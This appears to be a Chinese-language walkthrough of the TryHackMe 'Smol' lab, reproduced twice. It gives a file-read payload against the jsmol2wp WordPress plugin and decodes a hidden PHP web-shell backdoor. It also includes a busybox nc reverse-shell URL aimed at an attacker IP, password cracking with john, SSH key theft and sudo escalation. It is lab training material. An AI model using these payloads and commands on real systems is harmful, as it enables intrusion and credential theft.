Smol TryHackMe
字数 4403 2025-10-29 23:25:25

TryHackMe: Smol 渗透测试实战教学文档

文档概述

本教学文档旨在详细解析TryHackMe平台上“Smol”靶机的完整渗透测试过程。该靶机涉及WordPress安全插件漏洞利用(CVE-2018-20463)后门发现与利用横向移动以及权限提升等多个关键知识点。通过本教程,您将学习到一套完整的Web应用渗透测试方法论。

第一阶段:信息收集与初始访问

1. 目标识别与端口扫描

  • 行动:使用端口扫描工具(如Nmap)对目标进行扫描。
  • 结果:发现开放了80端口(HTTP服务),但直接访问IP地址无法显示页面。
  • 关键点:根据提示,需要修改本地/etc/hosts文件,将域名www.smol.thm解析到目标机器的IP地址。这是解决虚拟主机路由问题的常见方法。
    • 命令示例echo "目标IP www.smol.thm" | sudo tee -a /etc/hosts

2. 网站初步侦察

  • 行动:访问http://www.smol.thm
  • 发现
    • 网站基于WordPress搭建。
    • 发现一个用户邮箱:admin@smol.thm(潜在的用户名admin)。

3. 使用WPScan进行深度扫描

  • 行动:使用专门针对WordPress的扫描器WPScan,枚举主题、插件和用户。
  • 命令示例wpscan --url http://www.smol.thm -e ap,at,u
  • 关键发现
    • WordPress版本:6.7.1
    • 主题:2023,版本1.2
    • 关键插件jsmol2wp
      • 插件路径:http://www.smol.thm/wp-content/plugins/jsmol2wp/
      • 信息文件:通过访问/readme.txthttp://www.smol.thm/wp-content/plugins/jsmol2wp/readme.txt)了解插件功能。
    • 目录:发现上传目录/wp-content/uploads/,可能存放敏感文件。

4. 漏洞研究与利用(CVE-2018-20463)

  • 漏洞分析jsmol2wp插件存在一个服务器端请求伪造(SSRF) 漏洞,该漏洞允许攻击者通过精心构造的请求读取服务器上的任意文件。
  • 漏洞利用Payload
    /wp-content/plugins/jsmol2wp/php/jsmol.php?isform=true&call=getRawDataFromDatabase&query=php://filter/resource=../../../../wp-config.php
    
  • 利用过程
    1. 将上述Payload拼接在目标URL后访问。
    2. wp-config.php是WordPress的核心配置文件,通常包含数据库用户名和密码
    3. 成功读取该文件,获取数据库凭据(例如:用户wpuser及其密码)。

5. 进入WordPress后台

  • 行动
    1. 访问http://www.smol.thm/wp-admin
    2. 使用之前发现的用户名admin和从wp-config.php中获取的数据库密码尝试登录。
  • 结果:成功进入WordPress管理后台。

第二阶段:在WordPress内获取Shell

1. 发现隐藏后门

  • 线索:文章中提到页面有“滚动的歌词”和“Webmaster Tasks!!”提示,联想到WordPress的“Hello Dolly”示例插件。
  • 行动
    1. 在GitHub上搜索“Hello Dolly”的原始代码,与目标插件jsmol2wp中的hello.php文件进行对比。
    2. 利用已发现的SSRF漏洞,直接读取hello.php文件。
      • URL:http://www.smol.thm/wp-content/plugins/jsmol2wp/php/jsmol.php?isform=true&call=getRawDataFromDatabase&query=php://filter/resource=../../hello.php
  • 关键发现:读取到的hello.php文件内容中包含一段经过Base64编码的可疑代码。
  • 代码分析
    1. 解码CiBpZiAoaXNzZXQoJF9HRVRbIlwxNDNcMTU1XHg2NCJdKSkgeyBzeXN0ZW0oJF9HRVRbIlwxNDNceDZkXDE0NCJdKTsgfSA=
    2. 解码后if (isset($_GET["\143\155\x64"])) { system($_GET["\143\x6d\144"]); }
    3. 字符转义解析\143是八进制,\x64是十六进制,它们分别对应ASCII字符。
      • \143 -> c, \155 -> m, \x64 -> d。因此"\143\155\x64"就是字符串"cmd"
      • 同理,"\143\x6d\144"也是"cmd"
    4. 最终功能:这段代码是一个简单的Web Shell,它检查URL参数中是否存在cmd,如果存在,则执行该参数指定的系统命令。即:if (isset($_GET[‘cmd’])) { system($_GET[‘cmd’]); }

2. 利用后门获取反向Shell

  • 原理:由于hello.php文件已被jsmol2wp插件调用,其中的恶意代码已经生效,我们可以直接向该插件的入口点发送请求并附带命令参数。
  • 获取Shell步骤
    1. 在攻击机上监听一个端口(如4444):nc -lvnp 4444
    2. 向目标服务器发送一个请求,命令其建立到攻击机的反向连接。使用busybox nc(一个精简版的netcat)。
    3. 利用URL
      http://www.smol.thm/wp-content/plugins/jsmol2wp/php/jsmol.php?isform=true&call=getRawDataFromDatabase&query=test&cmd=busybox nc 你的攻击机IP 4444 -e bash
      
    4. 成功在攻击机上获得一个反向Shell连接。
    5. 提升Shell交互性:在获得的Shell中执行python3 -c 'import pty; pty.spawn("/bin/bash")',以获得一个更稳定的、支持Tab补全等功能的交互式Shell。

第三阶段:横向移动

1. 枚举系统用户

  • 行动:查看/etc/passwd文件,发现多个用户:think, xavi, diego, gege

2. 数据库密码破解与用户切换

  • 行动
    1. 使用之前获得的数据库凭据登录MySQL:mysql -u wpuser -p
    2. 在WordPress数据库(通常是wp_前缀)的wp_users表中,找到用户密码的哈希值。
    3. 使用john(John the Ripper)工具破解哈希。
      • 将哈希保存到文件hash.txt
      • 使用命令john hash.txt --wordlist=/usr/share/wordlists/rockyou.txt进行破解。
  • 结果:成功破解用户diego的密码。
  • 切换用户:在获得的Shell中,使用su - diego命令并输入破解的密码,切换到diego用户。可以获取user.txt标志。

3. 利用Linux组权限进行横向移动

  • 关键发现:执行id命令,发现当前用户diego属于一个名为internal的组。
  • 行动
    1. 查看/etc/group文件,找到internal组的所有成员。
    2. 由于同组用户对彼此的家目录可能有读权限,可以遍历这些用户的家目录。
    • gege用户目录下,发现一个可疑的压缩包wordpress.old.zip
    • think用户目录下的.ssh文件夹中,找到了私钥文件id_rsa

4. 通过SSH密钥切换至think用户

  • 行动
    1. 复制think用户的私钥id_rsa到攻击机。
    2. 修改私钥文件权限为600:chmod 600 think_id_rsa
    3. 使用私钥登录到think用户:ssh -i think_id_rsa think@目标IP

5. 分析PAM配置,切换至gege用户

  • 关键发现:查看/etc/pam.d/su文件,发现特殊配置:
    auth [success=ignore default=1] pam_succeed_if.so user = gege
    auth sufficient pam_succeed_if.so use_uid user = think
    
  • 配置解读:这行配置意味着,用户think在尝试su到任何用户时,如果目标是gege,则认证会直接成功(sufficient),无需输入密码。
  • 行动:从think用户直接切换到gege用户:su - gege

6. 破解受密码保护的压缩包

  • 行动
    1. gege用户目录下,用Python启动一个简单的HTTP服务器:python3 -m http.server 8080
    2. 在攻击机上下载wordpress.old.zip文件。
    3. 使用zip2john工具从压缩包中提取哈希:zip2john wordpress.old.zip > archive_hash
    4. 使用john破解该哈希:john archive_hash --wordlist=/usr/share/wordlists/rockyou.txt
    5. 使用破解出的密码解压压缩包。
  • 结果:在解压后的文件中,找到了另一个wp-config.php文件,其中包含了用户xavi的数据库密码(很可能也是系统密码)。

第四阶段:权限提升(Privilege Escalation)

1. 切换至xavi用户并检查sudo权限

  • 行动
    1. 切换到xavi用户:su - xavi(使用从压缩包中找到的密码)。
    2. 检查该用户可以使用sudo执行的命令:sudo -l
  • 关键发现:输出结果显示(ALL : ALL) ALL,这意味着用户xavi可以通过sudo执行任何命令,拥有完全的root权限。

2. 获取Root权限与最终标志

  • 行动:直接使用sudo提权到root。
    • sudo su -sudo bash
  • 结果:成功获得root权限,可以读取系统中的最终标志root.txt

总结与知识点回顾

  1. 信息收集是关键:域名解析、WPScan扫描为后续攻击奠定了基础。
  2. 关注第三方组件:WordPress插件、主题是常见的安全薄弱点。
  3. 漏洞利用链:结合SSRF漏洞(CVE-2018-20463)读取配置文件,再利用其中的凭据进行横向渗透。
  4. 代码审计意识:对可疑文件(如hello.php)进行审计,发现隐藏的后门。
  5. Linux权限与组管理:理解Linux文件权限和用户组机制是横向移动的核心。
  6. PAM配置审计/etc/pam.d/下的配置文件可能包含非标准的认证逻辑,是提权的重要线索。
  7. 密码破解:熟练使用johnzip2john等工具。
  8. sudo权限检查sudo -l是Linux系统权限提升的必做步骤。

通过本次实战,您应该对中等级别的渗透测试流程有了更深入的理解。请务必在合法授权的环境中练习这些技术。

TryHackMe: Smol 渗透测试实战教学文档 文档概述 本教学文档旨在详细解析TryHackMe平台上“Smol”靶机的完整渗透测试过程。该靶机涉及 WordPress安全 、 插件漏洞利用(CVE-2018-20463) 、 后门发现与利用 、 横向移动 以及 权限提升 等多个关键知识点。通过本教程,您将学习到一套完整的Web应用渗透测试方法论。 第一阶段:信息收集与初始访问 1. 目标识别与端口扫描 行动 :使用端口扫描工具(如Nmap)对目标进行扫描。 结果 :发现开放了80端口(HTTP服务),但直接访问IP地址无法显示页面。 关键点 :根据提示,需要修改本地 /etc/hosts 文件,将域名 www.smol.thm 解析到目标机器的IP地址。这是解决虚拟主机路由问题的常见方法。 命令示例 : echo "目标IP www.smol.thm" | sudo tee -a /etc/hosts 2. 网站初步侦察 行动 :访问 http://www.smol.thm 。 发现 : 网站基于WordPress搭建。 发现一个用户邮箱: admin@smol.thm (潜在的用户名 admin )。 3. 使用WPScan进行深度扫描 行动 :使用专门针对WordPress的扫描器WPScan,枚举主题、插件和用户。 命令示例 : wpscan --url http://www.smol.thm -e ap,at,u 关键发现 : WordPress版本 :6.7.1 主题 :2023,版本1.2 关键插件 : jsmol2wp 插件路径: http://www.smol.thm/wp-content/plugins/jsmol2wp/ 信息文件:通过访问 /readme.txt ( http://www.smol.thm/wp-content/plugins/jsmol2wp/readme.txt )了解插件功能。 目录 :发现上传目录 /wp-content/uploads/ ,可能存放敏感文件。 4. 漏洞研究与利用(CVE-2018-20463) 漏洞分析 : jsmol2wp 插件存在一个 服务器端请求伪造(SSRF) 漏洞,该漏洞允许攻击者通过精心构造的请求读取服务器上的任意文件。 漏洞利用Payload : 利用过程 : 将上述Payload拼接在目标URL后访问。 wp-config.php 是WordPress的核心配置文件,通常包含 数据库用户名和密码 。 成功读取该文件,获取数据库凭据(例如:用户 wpuser 及其密码)。 5. 进入WordPress后台 行动 : 访问 http://www.smol.thm/wp-admin 。 使用之前发现的用户名 admin 和从 wp-config.php 中获取的数据库密码尝试登录。 结果 :成功进入WordPress管理后台。 第二阶段:在WordPress内获取Shell 1. 发现隐藏后门 线索 :文章中提到页面有“滚动的歌词”和“Webmaster Tasks! !”提示,联想到WordPress的“Hello Dolly”示例插件。 行动 : 在GitHub上搜索“Hello Dolly”的原始代码,与目标插件 jsmol2wp 中的 hello.php 文件进行对比。 利用已发现的SSRF漏洞,直接读取 hello.php 文件。 URL: http://www.smol.thm/wp-content/plugins/jsmol2wp/php/jsmol.php?isform=true&call=getRawDataFromDatabase&query=php://filter/resource=../../hello.php 关键发现 :读取到的 hello.php 文件内容中包含一段经过Base64编码的可疑代码。 代码分析 : 解码 : CiBpZiAoaXNzZXQoJF9HRVRbIlwxNDNcMTU1XHg2NCJdKSkgeyBzeXN0ZW0oJF9HRVRbIlwxNDNceDZkXDE0NCJdKTsgfSA= 解码后 : if (isset($_GET["\143\155\x64"])) { system($_GET["\143\x6d\144"]); } 字符转义解析 : \143 是八进制, \x64 是十六进制,它们分别对应ASCII字符。 \143 -> c, \155 -> m, \x64 -> d。因此 "\143\155\x64" 就是字符串 "cmd" 。 同理, "\143\x6d\144" 也是 "cmd" 。 最终功能 :这段代码是一个简单的Web Shell,它检查URL参数中是否存在 cmd ,如果存在,则执行该参数指定的系统命令。即: if (isset($_GET[‘cmd’])) { system($_GET[‘cmd’]); } 2. 利用后门获取反向Shell 原理 :由于 hello.php 文件已被 jsmol2wp 插件调用,其中的恶意代码已经生效,我们可以直接向该插件的入口点发送请求并附带命令参数。 获取Shell步骤 : 在攻击机上监听一个端口(如4444): nc -lvnp 4444 向目标服务器发送一个请求,命令其建立到攻击机的反向连接。使用 busybox nc (一个精简版的netcat)。 利用URL : 成功在攻击机上获得一个反向Shell连接。 提升Shell交互性 :在获得的Shell中执行 python3 -c 'import pty; pty.spawn("/bin/bash")' ,以获得一个更稳定的、支持Tab补全等功能的交互式Shell。 第三阶段:横向移动 1. 枚举系统用户 行动 :查看 /etc/passwd 文件,发现多个用户: think , xavi , diego , gege 。 2. 数据库密码破解与用户切换 行动 : 使用之前获得的数据库凭据登录MySQL: mysql -u wpuser -p 在WordPress数据库(通常是 wp_ 前缀)的 wp_users 表中,找到用户密码的哈希值。 使用 john (John the Ripper)工具破解哈希。 将哈希保存到文件 hash.txt 。 使用命令 john hash.txt --wordlist=/usr/share/wordlists/rockyou.txt 进行破解。 结果 :成功破解用户 diego 的密码。 切换用户 :在获得的Shell中,使用 su - diego 命令并输入破解的密码,切换到 diego 用户。可以获取 user.txt 标志。 3. 利用Linux组权限进行横向移动 关键发现 :执行 id 命令,发现当前用户 diego 属于一个名为 internal 的组。 行动 : 查看 /etc/group 文件,找到 internal 组的所有成员。 由于同组用户对彼此的家目录可能有读权限,可以遍历这些用户的家目录。 在 gege 用户目录下,发现一个可疑的压缩包 wordpress.old.zip 。 在 think 用户目录下的 .ssh 文件夹中,找到了私钥文件 id_rsa 。 4. 通过SSH密钥切换至think用户 行动 : 复制 think 用户的私钥 id_rsa 到攻击机。 修改私钥文件权限为600: chmod 600 think_id_rsa 使用私钥登录到 think 用户: ssh -i think_id_rsa think@目标IP 5. 分析PAM配置,切换至gege用户 关键发现 :查看 /etc/pam.d/su 文件,发现特殊配置: 配置解读 :这行配置意味着,用户 think 在尝试 su 到任何用户时,如果目标是 gege ,则认证会直接成功( sufficient ),无需输入密码。 行动 :从 think 用户直接切换到 gege 用户: su - gege 6. 破解受密码保护的压缩包 行动 : 在 gege 用户目录下,用Python启动一个简单的HTTP服务器: python3 -m http.server 8080 在攻击机上下载 wordpress.old.zip 文件。 使用 zip2john 工具从压缩包中提取哈希: zip2john wordpress.old.zip > archive_hash 使用 john 破解该哈希: john archive_hash --wordlist=/usr/share/wordlists/rockyou.txt 使用破解出的密码解压压缩包。 结果 :在解压后的文件中,找到了另一个 wp-config.php 文件,其中包含了用户 xavi 的数据库密码(很可能也是系统密码)。 第四阶段:权限提升(Privilege Escalation) 1. 切换至xavi用户并检查sudo权限 行动 : 切换到 xavi 用户: su - xavi (使用从压缩包中找到的密码)。 检查该用户可以使用 sudo 执行的命令: sudo -l 关键发现 :输出结果显示 (ALL : ALL) ALL ,这意味着用户 xavi 可以通过 sudo 执行 任何 命令,拥有完全的root权限。 2. 获取Root权限与最终标志 行动 :直接使用 sudo 提权到root。 sudo su - 或 sudo bash 结果 :成功获得root权限,可以读取系统中的最终标志 root.txt 。 总结与知识点回顾 信息收集是关键 :域名解析、WPScan扫描为后续攻击奠定了基础。 关注第三方组件 :WordPress插件、主题是常见的安全薄弱点。 漏洞利用链 :结合SSRF漏洞(CVE-2018-20463)读取配置文件,再利用其中的凭据进行横向渗透。 代码审计意识 :对可疑文件(如 hello.php )进行审计,发现隐藏的后门。 Linux权限与组管理 :理解Linux文件权限和用户组机制是横向移动的核心。 PAM配置审计 : /etc/pam.d/ 下的配置文件可能包含非标准的认证逻辑,是提权的重要线索。 密码破解 :熟练使用 john 、 zip2john 等工具。 sudo权限检查 : sudo -l 是Linux系统权限提升的必做步骤。 通过本次实战,您应该对中等级别的渗透测试流程有了更深入的理解。请务必在合法授权的环境中练习这些技术。